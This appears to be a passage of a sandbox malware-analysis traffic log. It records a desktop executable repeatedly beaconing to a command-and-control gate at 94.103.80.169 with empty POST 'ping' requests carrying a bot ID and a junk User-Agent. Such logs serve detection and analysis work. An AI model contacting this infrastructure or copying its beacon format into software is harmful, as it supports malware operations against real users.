Aug 15, 2021 08:40:53.073020935 CEST	3275	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:53 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:53.185516119 CEST	3275	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:53.213438988 CEST	3275	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:53 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:53.338731050 CEST	3276	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:53.366307974 CEST	3276	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:53 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:53.481846094 CEST	3276	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:53.510303020 CEST	3276	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:53 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:53.624849081 CEST	3277	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:53.652574062 CEST	3277	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:53 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:53.762902975 CEST	3277	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:53.792346954 CEST	3277	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:53 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:53.904140949 CEST	3278	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:53.934369087 CEST	3278	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:53 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:54.059686899 CEST	3278	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:54.087589025 CEST	3278	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:54 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:54.204155922 CEST	3279	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:54.234164953 CEST	3279	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:54 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:54.341368914 CEST	3279	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:54.369941950 CEST	3279	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:54 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:54.482177019 CEST	3280	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:54.510272980 CEST	3280	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:54 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:54.628582001 CEST	3280	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:54.656053066 CEST	3280	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:54 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:54.768151045 CEST	3281	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:54.797333956 CEST	3281	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:54 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:54.905829906 CEST	3281	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:54.934489965 CEST	3281	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:54 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:55.046406984 CEST	3282	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:55.074506998 CEST	3282	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:55 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:55.189354897 CEST	3282	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:55.216895103 CEST	3282	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:55 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:55.327450037 CEST	3283	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:55.357073069 CEST	3283	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:55 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:55.468796015 CEST	3283	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:55.498536110 CEST	3283	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:55 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:55.610440016 CEST	3284	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:55.638885975 CEST	3284	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:55 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:55.747936010 CEST	3284	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:55.775893927 CEST	3284	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:55 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:55.892926931 CEST	3284	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:55.921608925 CEST	3285	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:55 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:56.038675070 CEST	3285	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:56.066474915 CEST	3285	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:56 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:56.186698914 CEST	3285	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:56.217061996 CEST	3286	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:56 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:56.328007936 CEST	3286	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:56.358236074 CEST	3286	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:56 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:56.469167948 CEST	3286	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:56.497562885 CEST	3287	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:56 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:56.608289957 CEST	3287	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:56.635854006 CEST	3287	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:56 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:56.747945070 CEST	3287	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:56.776077032 CEST	3287	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:56 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:56.889206886 CEST	3288	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:56.917973042 CEST	3288	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:56 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:57.029630899 CEST	3288	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:57.057668924 CEST	3288	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:57 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:57.170569897 CEST	3289	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:57.199587107 CEST	3289	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:57 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:57.334796906 CEST	3289	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:57.362953901 CEST	3289	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:57 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:57.482448101 CEST	3290	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:57.510597944 CEST	3290	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:57 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:57.668185949 CEST	3290	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:57.695879936 CEST	3290	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:57 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:57.829643011 CEST	3291	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:57.860716105 CEST	3291	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:57 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:57.969183922 CEST	3291	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:57.996793032 CEST	3291	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:57 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:58.108038902 CEST	3291	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:58.137460947 CEST	3292	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:58 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:58.248552084 CEST	3292	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:58.276293039 CEST	3292	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:58 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:58.389385939 CEST	3292	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:58.417453051 CEST	3293	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:58 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:58.528800011 CEST	3293	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:58.556791067 CEST	3293	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:58 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:58.669389009 CEST	3293	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:58.696969032 CEST	3294	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:58 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:58.810306072 CEST	3294	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:58.838901043 CEST	3294	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:58 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:58.951638937 CEST	3294	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:58.981561899 CEST	3294	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:58 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:59.092679024 CEST	3295	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:59.122679949 CEST	3295	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:59 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.4	49764	94.103.80.169	80	C:\Users\user\Desktop\q2t57gIiIY.exe

Timestamp	kBytes transferred	Direction	Data
Aug 15, 2021 08:40:59.258227110 CEST	3296	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:59.287336111 CEST	3296	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:59 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:59.545315027 CEST	3296	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:59.573770046 CEST	3296	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:59 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:59.686306953 CEST	3298	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:59.713790894 CEST	3303	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:59 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:59.827622890 CEST	3317	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:59.855458021 CEST	3317	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:59 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:59.969181061 CEST	3350	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:59.998927116 CEST	3350	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:59 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:00.157994032 CEST	3351	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:00.185609102 CEST	3351	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:00 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:00.296726942 CEST	3352	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:00.325632095 CEST	3353	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:00 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:00.452162981 CEST	3354	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:00.480025053 CEST	3354	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:00 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:00.591540098 CEST	3355	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:00.620671988 CEST	3355	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:00 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:00.738322020 CEST	3356	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:00.767924070 CEST	3357	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:00 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:00.872984886 CEST	3358	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:00.902560949 CEST	3358	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:00 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:01.013817072 CEST	3359	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:01.043293953 CEST	3359	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:01 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:01.154613018 CEST	3360	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:01.181998968 CEST	3361	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:01 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:01.295049906 CEST	3362	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:01.323440075 CEST	3362	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:01 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:01.435395002 CEST	3363	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:01.467468023 CEST	3364	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:01 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:01.577359915 CEST	3365	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:01.604799986 CEST	3365	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:01 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:01.726222992 CEST	3366	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:01.754321098 CEST	3367	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:01 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:01.873836040 CEST	3368	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:01.901839972 CEST	3368	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:01 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:02.013554096 CEST	3369	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:02.041359901 CEST	3369	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:02 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
